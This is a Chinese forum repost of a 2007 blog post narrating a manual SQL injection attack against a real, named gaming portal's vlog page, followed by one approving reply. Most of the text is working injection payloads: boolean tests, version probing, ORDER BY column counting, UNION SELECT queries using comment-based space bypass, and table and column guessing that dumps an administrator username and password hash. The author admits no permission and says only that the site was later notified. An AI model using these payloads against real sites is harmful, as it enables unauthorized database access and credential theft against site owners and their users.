【转帖】我也来PHP手工注射全球中文网络游戏第一门户网站 作者:野球小子 日期:2007-06-13

社区服务
高级搜索
猴岛论坛CSGO反恐精英CS作弊器交流讨论【转帖】我也来PHP手工注射全球中文网络游戏第一门户网站 作者:野球小子 日期:2007-06-13
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
1个回复

【转帖】我也来PHP手工注射全球中文网络游戏第一门户网站 作者:野球小子 日期:2007-06-13

楼层直达
oicqbs1

ZxID:1827031

等级: 大尉
山东一区-中华傲剑

举报 只看楼主 使用道具 楼主   发表于: 2009-06-13 0
一直没接触PHP语言方面的东西。昨天晚上看了一下PHP注射的资料,今天上完课回寝室再研究并实践了一下。年轻就是好,学什么东西都快,更何况是自己感兴趣的呵呵~~
学PHP比学ASP有前途多了,因为目前很多大型的网站采用PHP程序。17173.com是一家专业性的网络游戏门户网站,目前位居全球简体中文网站第15位,游戏类第1位。这么大的网站安全性如何呢?下面我就拿这个全球中文网络游戏第一门户网站试下手。
为了节省时间,我就不一个个地试了,用工具扫下,在一个个人空间里我发现一注入点:
http://vlog.17173.com/*******.php?id=***61
因为是手工注射,接下来我们手工一步一步来。
首先,判断注入点。
and 1=1
返回正常。
and 1=2
有错误提示。
注入基本上应该存在了。
接着,判断MySQL数据库的类型。
提交and ord(mid(version(),1,1)>51 /*
返回正常,说明MySQL的版本在4.0以上(ASCII码为51对应的数值为3),4.0以上版本的支持UNION查询。
接下来就是判断字段数了。
提交order by 10 /*返回正常;
提交order by 20 /*同样返回正常;
提交order by 30 /*,返回不正常,继续在20和30之间猜解,最终发现order by 25 /*和order by 26 /*分别返回正常与不正常。
OK,字段数就是25!
再下一步就是UNION查询了,提交:
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 /*
虽然返回了不同的界面,转到了另一个用户的个人空间界面,但是没有关系,我们本来就是为了让它出错,得到了我们想要的,当前界面上出现了12,2,17,13,3,8,9,6几个数字,这些都是可以查询的字段。
再接下来判断数据库连接帐号有没有写权限。
提交and (select count(*) from mysql.user)>0
返回错误了,没有权限。再试试能不能用load_file()函数读取服务器上的文件,但结果没有成功读取出来。不过我们可以从上图中看到该文件在服务器上的绝对路径:/home/httpd/html/vlog.17173.com.v2/*****.php。从路径中可以判断出,服务器应该是Linux(Unix)操作系统。虽然我玩过一段时间的Linux,但对Linux下的WEB结构不是很熟悉。这个暑假一定得再去好好学习一下Linux。
接着继续。我们知道,MySQL跟MsSQL相似,有自己的内置函数,如当前连接用户user(),版本version(),当前数据库database()。我把2字段替换成user(),再次提交看看:
看到没有?2字段处返回了[email protected],这就是user()当前的连接用户名。说明WEB与数据库不在同一台服务器上,不然10.59.96.39处应该为localhost。
接下来猜解MySQL的表名,
提交and/**/1=2/**/union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin/* (/**/表示空格)返回失败。
提交and/**/1=2/**/union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/user/* 返回还是错误。看来表名不是那么好猜。我也不会这么轻易就放弃,继续猜,试了ymdown_user、manager等还是不行。快放弃的时候,试了下admin_user居然成功了!兴奋ing!

接下来我们猜测admin_user这个表中的用户名和密码字段。这个应该不难,不过提交and/**/1=2/**/union/**/select/**/1,password,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin_user/* 返回错误。多试了几下,当试到了pwd和user时返回成功了。我把字段为2处换成pwd,字段为3处(即标签处)换成user。
提交:and/**/1=2/**/union/**/select/**/1,pwd,user,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin_user/*
仔细看返回的结果,pwd为8c3ad660fb********0315bf5051e6,是MD5散列。而标签处的user变成了administrator,也就是管理员的用户名。
管理员用户名和密码都暴了出来。密码虽然暴出来的是MD5加密散列,但这难不倒我们,有专门的破解网站或用工具在本地或挂肉鸡上跑,只要时间一长,密码自然会破解出来。
最后就是找管理员登陆界面(其实猜用户名和密码字段这一步也可以先找到管理员登陆界面,再查看其源代码得到)。我用几个常用的试了一下,都失败。也难怪,这么大的网站难能这么容易被你找到管理员登陆界面。马上想到了用GOOGLE HACK,但是还是失败。最终这次PHP注射之旅还是因为没有找到管理员登陆口而失败,但我学习到了很多,至少我已经成功爆出了管理员用户名和密码。
当然只要有时间有耐心,管理后台肯定是可以找出来的,我这里不是为了恶意入侵所以没有再继续。漏洞我已经通知发留言通知他们了。应该说这是一般PHP网站手工注射的方法,没什么技术含量,高手见笑了。我花时间写这篇日志不为了什么,只是现在刚学习PHP注射,想到以后回过头来复习时可以方便很多。唉...今天晚上怎么又搞到一点多了,明天还有八节课,赶快睡觉啦!
本文转载自『Happy技术乐园』http://www.hack520.org/article.asp?id=121
5210176

ZxID:4997403

等级: 上士
举报 只看该作者 沙发   发表于: 2009-06-13 0
更加强大的文章

我晕了,快叫120
« 返回列表
发帖 回复